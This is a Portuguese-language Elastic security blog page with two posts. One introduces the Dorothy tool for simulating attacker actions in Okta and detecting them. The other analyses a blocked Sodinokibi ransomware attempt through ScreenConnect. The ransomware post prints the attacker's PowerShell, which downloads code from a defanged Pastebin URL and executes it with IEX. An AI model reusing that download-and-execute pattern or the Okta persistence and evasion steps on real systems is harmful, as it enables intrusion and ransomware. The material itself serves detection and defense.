Dorothy é uma ferramenta para equipes de segurança testarem os recursos de visibilidade e detecção para o ambiente Okta. As soluções IAM costumam ser alvo de invasores, mas pouco monitoradas. Saiba como começar a usar a Dorothy.

<p>Quando questionadas, poucas equipes de segurança conseguem demonstrar com confiança que seus registros e alertas estão funcionando como esperado. O trabalho se tornou mais distribuído nas empresas e mais dependente da nuvem para casos de uso como gestão de identidade e acesso, produtividade do usuário e armazenamento de arquivos. Enquanto isso, os invasores ampliaram suas capacidades operacionais nos ambientes de nuvem. É muito importante que as equipes de segurança consigam monitorar esses sistemas para evitar abusos e proteger os dados da empresa.
</p><p>A <a href="https://github.com/elastic/dorothy">Dorothy</a> é uma ferramenta grátis e open-source que ajuda as empresas de segurança a testar suas capacidades de visibilidade, monitoramento e detecção para ambientes Okta Single Sign-On (SSO). Demonstraremos como a Dorothy pode ser usada para executar testes e como o <a href="/pt/security">Elastic Security</a> pode ser usado para alertar sobre comportamentos relevantes e suspeitos usando nossas <a href="https://github.com/elastic/detection-rules/">regras de detecção grátis e abertas</a>.
</p> <strong><h2><strong>O que é Okta SSO?</strong></h2></strong><p>Para quem não conhece, <a href="https://www.okta.com/products/single-sign-on/">Okta SSO</a> é uma solução de gestão de identidade baseada em nuvem que permite que os usuários autentiquem uma série de sistemas e aplicativos dentro da empresa com uma única conta de usuário. Informar aos usuários finais que eles só precisam se lembrar de <em>um</em> nome de usuário e senha em vez de mais de 10 reduz o risco de os usuários não gerirem de forma correta as senhas e permite que os administradores empreendam políticas de senhas fortes. Além disso, as políticas de autenticação multifator (MFA) podem ser configuradas no Okta, o que aumenta a barreira contra ataques. Muitas vezes, os invasores desistem e buscam um alvo mais fácil quando descobrem que o MFA está habilitado na rede ou conta de usuário do alvo.
</p><p>Embora as soluções de SSO ofereçam uma experiência de usuário conveniente e reduzam o risco de segurança cibernética para uma empresa, esses sistemas centralizados oferecem uma espécie de chave esqueleto para diversos sistemas e aplicativos e costumam ser um alvo atraente para invasores. É imprescindível que as equipes de segurança entendam o que é um comportamento normal no ambiente Okta para que consigam identificar atividades suspeitas com mais facilidade.
</p> <strong><h2><strong>Conheça a Dorothy</strong></h2></strong><p>A <a href="https://github.com/elastic/dorothy">Dorothy</a> tem mais de 25 módulos para simular possíveis ações de um ataque enquanto opera em um ambiente Okta e os comportamentos que as equipes de segurança devem monitorar, detectar e alertar. Todos os módulos estão mapeados para a tática <a href="https://attack.mitre.org/">MITRE ATT&CK®</a> relevante, como Persistence, Defense Evasion, Discovery e Impact.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt8eae61fb97d445e6/5fcbb9e859bd313bf83113fc/1-Dorothy-blog-listing-modules.png" data-sys-asset-uid="blt8eae61fb97d445e6" alt="1-Dorothy-blog-listing-modules.png" style="display: block; margin: auto">
</p><figcaption>Figura 1 — Como começar a usar a Dorothy e listar seus módulos</figcaption><p>A Dorothy foi criada para ajudar os profissionais de segurança a testar a visibilidade e os controles de segurança de seus sistemas e não oferece módulos para obter acesso inicial ou ampliar privilégios em um ambiente Okta. Para executar ações com a Dorothy, é necessário utilizar um token de API válido do Okta vinculado a um usuário com uma ou mais funções de administrador atribuídas.
</p><p>Ela oferece uma interface shell fácil de usar com ajuda contextual para navegação entre menus e módulos que ajuda o usuário a entender cenários simulados de invasão. Entre outros recursos interessantes, também estão os perfis de configuração para gerenciar conexões a ambientes Okta individuais e logging detalhado com a opção de indexação de eventos no Elasticsearch para oferecer uma trilha de auditoria das ações que foram executadas usando a Dorothy.
</p> <strong><h2><strong>Como executar ações em um ambiente Okta usando a Dorothy</strong></h2></strong><p>Nesta seção, vamos demonstrar como executar alguns dos módulos da Dorothy em um ambiente Okta. Na figura 2, é possível ver um fluxo de trabalho típico para um usuário do Elastic Security. Após essa demonstração, vai ser mais fácil entrar no repositório do GitHub da Dorothy e seguir as orientações de como começar na <a href="https://github.com/elastic/dorothy/wiki">wiki</a> do projeto.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt005b0e7a6479bf43/5fcbba02e5f85744d50f1a57/2-Dorothy-blog-example_workflow.png" data-sys-asset-uid="blt005b0e7a6479bf43" alt="2-Dorothy-blog-example_workflow.png" redactor"="" style="display: block; margin: auto data-verified=">
</p><figcaption>Figura 2 — Exemplo de fluxo de trabalho para execução de ações em um ambiente Okta usando a Dorothy</figcaption><p> <strong></strong>
</p><h3><strong><strong><em>whoami?</em></strong></strong></h3><p>Vamos pensar como um invasor e imaginar quais ações seriam realizadas ao operar em um ambiente Okta. A primeira pergunta seria sobre o usuário para o qual tenho o token de API. Vamos simular a ação do invasor pelo comando <code>whoami</code> da Dorothy para ver a ID de login do usuário associado, o horário do último login e a última troca de senha.
</p><p>Agora que entendemos melhor a conta de usuário que estamos controlando, vamos listar os módulos da Dorothy e verificar o menu de ajuda antes do próximo passo.
</p><div class=" video=" "="" embed-container"="">
	<img class="vidyard-player-embed" src="https://play.vidyard.com/iG2cr4pHfUSwwVyk3paivS.jpg" data-uuid="iG2cr4pHfUSwwVyk3paivS" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	<figcaption>Figura 3 — Execução do whoami da Dorothy e comandos list-modules<br><br></figcaption>
	<h3><strong><em>Discovery</em></strong></h3>
	<p>A Dorothy tem diversos módulos de descoberta que podemos usar para simular o conhecimento que um invasor poderia obter sobre um ambiente Okta. É comum que um invasor dedique um tempo para aprender detalhes de um ambiente depois de obter acesso inicial. Detalhes essenciais antes de planejar as próximas etapas.
	</p>
	<p>Vamos tentar aprender um pouco sobre o ambiente Okta buscando as seguintes informações:
	</p>
	<ul>
		<li>Usuários — Uma lista de nomes, IDs de login, endereços de e-mail, perguntas de recuperação de senha e o status de cada usuário são dados úteis na hora de escolher assumir o controle, modificar ou deixar intacta uma conta para evitar exposição.</li>
		<li>Políticas — As <a href="https://help.okta.com/en/prod/Content/Topics/Security/Security_Policies.htm">políticas do Okta</a> são úteis para controlar elementos de segurança, como complexidade de senha e exigências de MFA, além dos dispositivos que os usuários estão autorizados a usar. Esse conhecimento é muito útil se decidirmos enfraquecer alguns componentes da configuração de segurança do alvo.</li>
		<li>Zonas — As <a href="https://help.okta.com/en/prod/Content/Topics/Security/network/network-zones.htm">zonas da rede</a> podem ser usadas para definir perímetros de segurança para um ambiente Okta. Assim como as políticas, essa informação nos ajuda a entender como o ambiente está configurado e tomar decisões mais informadas antes de implementar mudanças na forma como o tráfego é permitido ou bloqueado.</li>
	</ul>
	<p>Por fim, executaremos o módulo <code>find-admins</code> para enumerar as funções de cada usuário do Okta e identificar quais usuários têm uma ou mais funções de administrador atribuídas a ele. 
	</p>
	<div class="video embed-container" style="height: 319.725px;">
		<img class="vidyard-player-embed" src="https://play.vidyard.com/TkDuAJQwKabkyj375rfYPe.jpg" data-uuid="TkDuAJQwKabkyj375rfYPe" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	</div><figcaption>Figura 4 — Execução dos módulos Discovery para obter informações sobre o ambiente Okta</figcaption>
	<p>Existem outros módulos de descoberta que ajudam na obtenção de informações, como <code>find-users-without-mfa</code>, para encontrar usuários que possam se autenticar com nome do usuário e senha, e <code>find-admin-groups</code>, para identificar grupos de usuários que tenham uma ou mais funções de administrador.
	</p> <strong>
	<h3><strong><em>Persistence</em></strong></h3></strong>
	<p>Depois que um invasor obtiver acesso ao ambiente pretendido, poderá procurar oportunidades de estabelecer persistência. Ela ajuda o invasor a manter o acesso caso perca o caminho inicial. Um exemplo bom de como um invasor pode perder o acesso é quando a equipe de segurança detecta a sua presença e desativa a conta de usuário comprometida ou bloqueia as comunicações no perímetro da rede.
	</p>
	<p>Tendo um ou mais mecanismos de persistência, o invasor conseguirá continuar sua missão se um ou mais caminhos estiverem bloqueados ou interrompidos. Neste exemplo, usaremos os módulos <code>create-user</code> e <code>create-admin-user</code> para criar um usuário do Okta e <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_administrator_role_assigned_to_okta_user.toml">atribuir uma função de administrador</a> a ele. Depois, criaremos uma pergunta de recuperação para outro usuário Okta para podermos verificar o processo de redefinição de senha para aquele usuário e invadir a conta como outro método de persistência.
	</p>
	<div class="video embed-container" style="height: 319.725px;">
		<img class="vidyard-player-embed" src="https://play.vidyard.com/GBE6rQG2gxPGLhysSSTZet.jpg" data-uuid="GBE6rQG2gxPGLhysSSTZet" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	</div><figcaption>Figura 5 — Criação e modificação de contas de usuário do Okta para estabelecer persistência</figcaption>
	<p>A Dorothy tem outros módulos de persistência que nos ajudam a entender os comportamentos prováveis de um invasor, como <code>reset-factors</code> para <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/persistence_attempt_to_reset_mfa_factors_for_okta_user_account.toml">remover os fatores de autenticação do um usuário</a> e <code>reset-password</code> para gerar um link de uso único para redefinir a senha de um usuário.
	</p> <strong>
	<h3><strong><em>Defense Evasion</em></strong></h3></strong>
	<p>Os invasores tentarão executar técnicas de evasão de defesas para evitar a detecção ao longo da missão. Por exemplo, um invasor pode desativar o logging de segurança para impedir que a equipe de segurança veja o que ele está fazendo.
	</p>
	<p>Nesse momento, já obtivemos conhecimento sobre o ambiente e configuramos algumas formas de persistência. Vamos executar os módulos <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/okta_attempt_to_deactivate_okta_policy.toml"><code>change-policy-state</code></a> e <a href="https://github.com/elastic/detection-rules/blob/main/rules/okta/attempt_to_deactivate_okta_network_zone.toml"><code>change-zone-state</code></a> para enfraquecer os controles de segurança do alvo.
	</p>
	<div class="video embed-container" style="height: 319.725px;">
		<img class="vidyard-player-embed" src="https://play.vidyard.com/ibEzpdD2KPKKK83d3n556d.jpg" data-uuid="ibEzpdD2KPKKK83d3n556d" data-v="4" data-type="inline" data-autoplay="1" data-loop="1" data-disable_analytics="1" data-hidden_controls="1" data-muted="1" disable_analytics="1" style="width: 100%; margin: auto; display: block;">
	</div><figcaption>Figura 6 — Desativação da política do Okta e objetos da zona da rede</figcaption>
	<p>Outros módulos de evasão de defesa podem ativar, desativar ou modificar outros objetos Okta, como aplicativos e regras de políticas individuais.
	</p>
	<p>Vamos interromper nosso cenário fictício de ataque aqui, mas se quiser saber o que mais a Dorothy pode fazer, acesse o <a href="https://github.com/elastic/dorothy">repositório do GitHub</a>.
	</p> <strong>
	<h2><strong>Como detectar comportamentos suspeitos com o Elastic Security</strong></h2></strong>
	<p>Nesta seção, vamos demonstrar como o <a href="https://help.okta.com/en/prod/Content/Topics/Reports/Reports_SysLog.htm">log do sistema</a> do Okta ajuda nossas regras de detecção a monitorar e alertar as equipes de comportamentos suspeitos.
	</p>
	<p>O log do sistema do Okta oferece uma trilha de auditoria das atividades que foram observadas no ambiente da organização. Isso inclui atividades como login ou troca de senha de usuário, administradores fazendo mudanças na configuração e muito mais. Essa fonte de dados e incrivelmente útil para o monitoramento de segurança, investigações, compliance e atividades de resposta.
	</p> <strong>
	<h3><strong><em>Ingestão de logs de sistema do Okta com o Fleet</em></strong></h3></strong>
	<p>O <a href="/guide/en/fleet/current/fleet-overview.html">Fleet</a> oferece uma UI baseada na web no Kibana para adicionar e gerenciar integrações para os serviços e plataformas mais comuns, como Okta, AWS, Azure, Google Cloud Platform, Google Workspace e muito mais. A integração do Okta com o Fleet é uma forma fácil de ingerir e normalizar os eventos de log do sistema.
	</p>
	<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1fc3d0e8b7275ec1/5fcbba31a84f233eaf60eee8/7-Dorothy-blog-reviewing-fleet.png" data-sys-asset-uid="blt1fc3d0e8b7275ec1" alt="7-Dorothy-blog-reviewing-fleet.png" style="display: block; margin: auto">
	</p><figcaption>Figura 7 — Análise da integração do Okta com o Fleet no Kibana</figcaption>
	<p>Para equipes que já usam o Beats, também há disponível um <a href="/guide/en/beats/filebeat/current/filebeat-module-okta.html">módulo Okta Filebeat </a>.
	</p> <strong>
	<h3><strong><em>Como detectar comportamentos suspeitos com as regras de detecção grátis do Elastic Security</em></strong></h3></strong>
	<p>A equipe do Elastic Security Protections pesquisa tradecraft de invasores para desenvolver detecções e prevenções para endpoint, nuvem e plataformas de rede. Nossas <a href="https://github.com/elastic/detection-rules">regras de detecção</a> são grátis e desenvolvidas open-source juntamente com a comunidade de segurança.
	</p>
	<p>Nossas regras do Okta utilizam os eventos indexados do log de sistema que são normalizados no <a href="/guide/en/ecs/current/ecs-reference.html">Elastic Common Schema (ECS)</a> e alertam as equipes de segurança com relação a comportamentos relevantes e suspeitos.
	</p>
	<p>A figura 8 mostra uma série de alertas no Elastic Security depois que a Dorothy foi usada para simular ações que um invasor poderia realizar operando em um ambiente Okta.
	</p>
	<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt4504667e3ac7b82d/5fcbba4cee448a54fd0cbc2e/8-Dorothy-blog-reviewing-alerts.png" data-sys-asset-uid="blt4504667e3ac7b82d" alt="8-Dorothy-blog-reviewing-alerts.png" style="display: block; margin: auto">
	</p><figcaption>Figura 8 — Revisão dos alertas abertos no Elastic Security</figcaption>
	<p>Mas e aqueles falsos positivos? Adicionar exceções às regras no Elastic Security depois de filtrar a rotina e o comportamento esperado é muito fácil. Esse recurso inclui uma opção para fechar todos os alertas que correspondem à exceção para economizar tempo.
	</p>
	<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt7ed73d87b82b1650/5fcbba59da1c393383d3dd8d/9-Dorothy-blog-adding_exception.png" data-sys-asset-uid="blt7ed73d87b82b1650" alt="9-Dorothy-blog-adding_exception.png" style="display: block; margin: auto">
	</p><figcaption>Figura 9 — Adição de exceção a uma regra Okta no Elastic Security</figcaption>
	<p> <strong></strong>
	</p>
	<h2><strong><strong>Meça a cobertura da sua novem com a Dorothy</strong></strong></h2>
	<p>O Okta e outras soluções de gestão de identidade são alvos comuns de invasores, mas são pouco monitorados. Criamos a Dorothy como uma ferramenta para ajudar as equipes de segurança a entender como adversários conseguem operar dentro de ambientes Okta, facilitando a testagem da visibilidade e eficácia de nossas regras de detecção abertas e grátis.
	</p>
	<p>Saiba como começar a usar a Dorothy na <a href="https://github.com/elastic/dorothy/wiki">wiki</a> do projeto. Se você ainda não for usuário do Elastic Security, cadastre-se para uma <a href="/pt/cloud/">avaliação da nuvem gratuita</a> hoje mesmo e confira nossas <a href="/pt/blog/elastic-security-opens-public-detection-rules-repo">regras de detecção grátis</a>.
	</p>
</div>

blog-banner-dorothy-cow.png

blog-thumb-dorothy-cow.png

Testing your Okta visibility and detection with Dorothy and Elastic Security

Como testar a visibilidade detecção do Okta com a Dorothy e o Elastic Security

<p>No mês passado, a equipe de proteções do <a href="/pt/blog/introducing-elastic-endpoint-security">Elastic Security</a> impediu uma tentativa de ataque de ransomware contra uma organização monitorada por um de nossos clientes, um provedor de serviços gerenciados (MSP) de TI. Analisamos os alertas gerados após as tentativas de injeção de processo de um adversário terem sido impedidas pelo <a href="/pt/products/endpoint-security">Elastic Endpoint Security</a> em vários endpoints. Os adversários geralmente tentam injetar seu código mal-intencionado em um processo em execução antes de criptografar e reter os dados da vítima para pedir resgate.
</p>
<p>O comportamento que observamos nesse caso coincide com relatos de agentes mal-intencionados que promoveram ações contra MSPs para implantar ransomware em escala empresarial. Ao abusar das relações de confiança entre os MSPs e seus clientes, ataques dessa natureza têm maior impacto, sendo capazes de prejudicar pequenas empresas, interferir no transporte ou até interromper um serviço público municipal essencial.
</p>
<p>É importante observar, nesse caso, que o adversário acessou o ambiente-alvo por meio de outro MSP, que não é um cliente do Elastic Security — não temos detalhes específicos sobre esse ambiente ou sobre como ele pode ter sido comprometido.
</p>
<p>Neste post, falaremos sobre o comportamento mal-intencionado que observamos e impedimos, por que esse ataque geralmente é bem-sucedido e o que você pode fazer para reduzir a eficácia desse tipo de ataque na sua empresa.
</p>
<table style="background: #FFFFD2;" rel="background: #FFFFD2;">
<tbody>
<tr>
	<td>Elastic Security Intelligence and Analytics é uma equipe do departamento Elastic Security Engineering que usa telemetria de segurança anonimizada dos clientes participantes para rastrear ameaças e aprimorar produtos, uma função que inclui a coleta de metadados de alerta. Ao monitorar padrões de eventos que afetam muitos clientes, podemos tomar decisões urgentes que melhoram a nossa capacidade de mitigar ameaças emergentes ou fornecer informações essenciais à comunidade.
	</td>
</tr>
</tbody>
</table>
<h2>Impedimento da injeção de processo mal-intencionado</h2>
<p>A primeira evidência de comprometimento foi detectada quando várias tentativas de <a href="https://attack.mitre.org/techniques/T1055/">injeção de processo</a> foram impedidas. A injeção de processo pode ser usada para executar um código no espaço de endereço de um processo em execução. Os adversários geralmente executam essa técnica na tentativa de evitar a detecção por produtos de segurança ou de executar seu código mal-intencionado em um processo executado em um nível de integridade mais alto para aumentar seus privilégios.
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0e931adeb1ae4bfd/5de55b56546f955ab898caa6/ransomware-prevention-blog-process-injection-alerts.png" data-sys-asset-uid="blt0e931adeb1ae4bfd" alt="ransomware-prevention-blog-process-injection-alerts.png" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Alertas de injeção de processo na plataforma do Elastic Endpoint Security</figcaption>
<p>A análise dos alertas de injeção de processo estabeleceu que o PowerShell, um poderoso framework de script nativo, foi utilizado em uma tentativa de injetar shellcode em si mesmo — um comportamento que costuma ser mal-intencionado. O processo <code>powershell.exe</code> foi criado como um descendente do <code>ScreenConnect.WindowsClient.exe</code>, uma aplicação de suporte para área de trabalho remota. Esse tipo de software é usado para permitir que os administradores de TI se conectem a computadores remotos e forneçam suporte aos usuários finais, mas aplicações como essa costumam ser abusadas por adversários, em uma tática conhecida como “living off the land” (“tirar o sustento da terra”, em uma tradução livre).
</p>
<p>A figura abaixo mostra a linhagem do processo incomum associada a esse caso no Resolver™, nossa visualização que exibe eventos associados a um ataque.
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt99a68ebf6b2fa11e/5dd85905cbf96739d40873e2/ransomware-prevention-blog-resolver.jpg" data-sys-asset-uid="blt99a68ebf6b2fa11e" alt="" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Resolver™ mostrando a linhagem do processo associada à tentativa de injeção de processo</figcaption>
<p>Observe que <code>cmd.exe</code> e <code>powershell.exe</code> são descendentes do processo <code>ScreenConnect.WindowsClient.exe</code>. Isso é suspeito, considerando sua capacidade de executar comandos ou scripts mal-intencionados, mas, de forma isolada, não indica necessariamente atividade mal-intencionada. Definir a linha de base do seu ambiente e compreender os relacionamentos normais dos processos na sua empresa são cruciais para procurar, detectar ou responder a comportamentos mal-intencionados.
</p>
<p>Nesse caso, a análise dos processos e seus argumentos de linha de comando revelou que o adversário utilizou o software de área de trabalho remota ScreenConnect para se conectar e copiar um arquivo de lote no endpoint-alvo. O exame de um dos processos <code>cmd.exe</code> no Resolver™ mostrou que o arquivo de lote continha um script do PowerShell codificado em Base64 que foi executado posteriormente.
</p>
<h2>Detecção e impedimento de comportamentos indesejados com EQL</h2>
<p>Embora esse alvo em potencial protegido pelo Elastic Endpoint Security tenha evitado um dispendioso surto de ransomware, muitos MSPs ainda estão aprendendo a lidar com essa metodologia. Esse adversário entende que os provedores de serviços geralmente têm a confiança implícita de seus clientes, e isso torna todos os tipos de provedores valiosos.
</p>
<p>Depois que um adversário obteve acesso inicial ao ambiente-alvo, é comum que ele procure relações de confiança implícita e abuse delas, como vimos nesse caso. A organização vítima confia nas conexões com seu ambiente provenientes do MSP por meio da aplicação de suporte para a área de trabalho remota, o que introduz o risco de <a href="https://attack.mitre.org/techniques/T1195/">comprometimento da cadeia de suprimentos</a>.
</p>
<p>Ao considerar como monitorar e defender essas relações de confiança, o foco em aplicações que se conectam da parte confiável à sua rede é um bom ponto de partida. Colocar processos descendentes do ScreenConnect em uma lista de restrição pode não ser uma solução viável para evitar esse comportamento mal-intencionado, pois isso pode impedir que o pessoal de suporte legítimo trabalhe com eficácia. No entanto, uma equipe de monitoramento de segurança pode decidir que um processo descendente do ScreenConnect que esteja usando a rede seja suspeito e queira detectar e impedir esse comportamento. Isso é possível usando o <a href="https://www.endgame.com/blog/technical-blog/getting-started-eql">Event Query Language (EQL) da Elastic</a> e é uma abordagem genérica para o desenvolvimento de conscientização ambiental.
</p>
<p>A consulta EQL a seguir procura uma sequência de dois eventos que estejam vinculados usando o ID do processo (PID) exclusivo do processo. O primeiro evento procura um processo que seja descendente do <code>ScreenConnect*.exe</code>. O segundo evento procura atividade de rede do processo descendente. Essa consulta pode ser facilmente expandida para incluir outro software de acesso remoto ou filtrar a atividade esperada no seu ambiente.
</p>
<pre class="prettyprint">sequence by unique_pid
  [process where descendant of [process where process_name == "ScreenConnect*.exe"]]
  [network where true]
</pre>
<p>Com o Elastic Endpoint Security, também é possível configurar uma <a href="https://www.endgame.com/blog/executive-blog/what-is-reflex">ação de resposta do Reflex</a>, que é uma maneira de os clientes implementarem suas próprias regras de prevenção personalizadas. Por exemplo, podemos encerrar o processo descendente quando ele estabelece uma conexão de rede, o que impediria o download de outro código mal-intencionado ou atividades de comando e controle.
</p>
<p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9d4886f851ceb49a/5dd85ad8fcb522353a694edf/ransomware-prevention-blog-reflex-response.png" data-sys-asset-uid="blt9d4886f851ceb49a" style="display: block; margin: auto; border:1px solid black;">
</p><figcaption style="text-align: center;" rel="text-align: center;">Configuração de uma ação de resposta do Reflex na plataforma do Elastic Endpoint Security</figcaption>
<p>O Elastic Endpoint Security vem com um grande volume da nossa própria analítica baseada em comportamento, que inclui maneiras de detectar e impedir relacionamentos de processos anormais envolvendo ferramentas administrativas de terceiros ou binários nativos dos sistemas operacionais Windows, MacOS ou Linux.
</p>
<h2>Análise da metodologia do adversário</h2>
<p>O script do PowerShell que foi executado verificou a arquitetura do processador antes de utilizar a classe <code>WebClient</code> do .NET para fazer download de conteúdo do Pastebin e o cmdlet <code>Invoke-Expression</code> (<code>IEX</code>) para executar o código. Essa é uma técnica popular entre os adversários para fazer download do código e executá-lo via PowerShell.
</p>
<p>O Pastebin é um serviço de hospedagem e compartilhamento de texto sem formatação no qual usuários legítimos geralmente compartilham snippets de código. No entanto, agentes mal-intencionados utilizam o Pastebin e sites semelhantes para armazenar códigos mal-intencionados ou publicar credenciais vazadas.
</p>
<pre>If ($ENV:PROCESSOR_ARCHITECTURE  - contains 'AMD64')  {
    Start - Process  - FilePath "$Env:WINDIR\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"  - argument "IEX ((new-object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));Invoke-LJJJIWVSRIMKPOD;Start-Sleep -s 1000000;"
} else {
    IEX ((new - object net.webclient).downloadstring('https://pastebin[.]com/raw/[REDACTED]'));
    Invoke - LJJJIWVSRIMKPOD;
    Start - Sleep  - s 1000000;
}
</pre><figcaption style="text-align: center;" rel="text-align: center;">Script do PowerShell que fez download do conteúdo<sup>1</sup> do pastebin.com
</figcaption>
<p>Esse comportamento geralmente é categorizado como um ataque sem arquivo ou na memória devido à atividade de disco inexistente ou mínima que ocorre no endpoint. Quando o agente do Elastic Endpoint Security detecta um ataque sem arquivo, ele coleta e extrai automaticamente o código e as strings injetadas em etapas. Esse recurso garantiu que tivéssemos visibilidade total do comportamento a ser evitado.
</p>
<p>A busca de <a href="https://www.virustotal.com/">VirusTotal</a> em algumas das strings coletadas trouxe à tona várias amostras da família de ransomware Sodinokibi.
</p>
<p>As seguintes marcas de ferramenta e comportamentos específicos indicam que essa atividade coincide com a execução das amostras de ransomware Sodinokibi ou Gandcrab, conforme relatado pelo <a href="https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-spreads-wide-via-hacked-msps-sites-and-spam/">BleepingComputer</a> e pelo <a href="https://www.cynet.com/blog/ransomware-never-dies-analysis-of-new-sodinokibi-ransomware-variant/">Cynet</a>:
</p>
<ul>
	<li>O agente mal-intencionado utilizou o software de suporte para área de trabalho remota ScreenConnect para se conectar de um MSP comprometido à empresa-alvo.</li>
	<li>O ScreenConnect foi usado para copiar um script em lote para os endpoints, que continha um script do PowerShell para fazer download e injeção de código mal-intencionado do Pastebin.</li>
	<li>O script do PowerShell continha cmdlets e strings (por exemplo, <code>Invoke-LJJJIWVSRIMKPOD</code> e <code>Start-Sleep</code>) que foram observados em outras campanhas de ransomware Sodinokibi.</li>
	<li>As strings coletadas dos threads injetados coincidem com as amostras de ransomware Sodinokibi que foram enviadas ao VirusTotal nas últimas 24 horas.</li>
</ul>
<p>Depois do impedimento da tentativa do adversário de se autoinjetar shellcode e executar o ransomware, o ataque ao endpoint inicial foi interrompido. Após um período de 15 minutos, o adversário retornou e tentou executar os mesmos procedimentos em mais cinco endpoints antes de desistir. Todas as tentativas de implantar ransomware foram impedidas.
</p>
<h2>Conclusão</h2>
<p>Neste post, discutimos um caso real de um agente mal-intencionado abusando de relacionamentos confiáveis entre um MSP e seus clientes e tentando implantar ransomware. Isso destaca a importância de entender os relacionamentos que a sua organização mantém com terceiros e o impacto potencial se essas conexões forem abusadas.
</p>
<p>A análise dos alertas revelou que o adversário se conectou ao ambiente do cliente por meio do software de suporte para a área de trabalho remota e executou um script mal-intencionado com o objetivo de fazer download, injeção e execução de ransomware. Todas as tentativas do adversário foram impedidas.
</p>
<p>Esse caso também demonstra a importância de ter uma abordagem em camadas para a segurança e ser capaz de detectar e impedir comportamento de adversários e ataques sem arquivo. Dissecamos os procedimentos do invasor e mostramos como o EQL e o Reflex podem ser usados para criar regras e respostas personalizadas.
</p>
<p>Apenas procurar arquivos mal-intencionados não é suficiente; o Elastic Endpoint Security fornece várias camadas de proteções baseadas em comportamento contra ransomware, ataques sem arquivo, phishing, explorações e comportamento de adversários.
</p>
<p><a href="https://github.com/elastic/elasticsearch/issues/49581">O suporte ao EQL está sendo adicionado ao Elasticsearch</a>.
</p>
<p><em>1 — O conteúdo foi removido do Pastebin pelo criador ou pela equipe do Pastebin
	</em>
</p>

Articles by David French

Como testar a visibilidade detecção do Okta com a Dorothy e o Elastic Security

Ransomware, interrompido: Sodinokibi e a cadeia de suprimentos

Produtos

Empresa

Recursos

Soluções

Elastic (ELK) Stack

NOVO

Articles by David French

Como testar a visibilidade detecção do Okta com a Dorothy e o Elastic Security

Ransomware, interrompido: Sodinokibi e a cadeia de suprimentos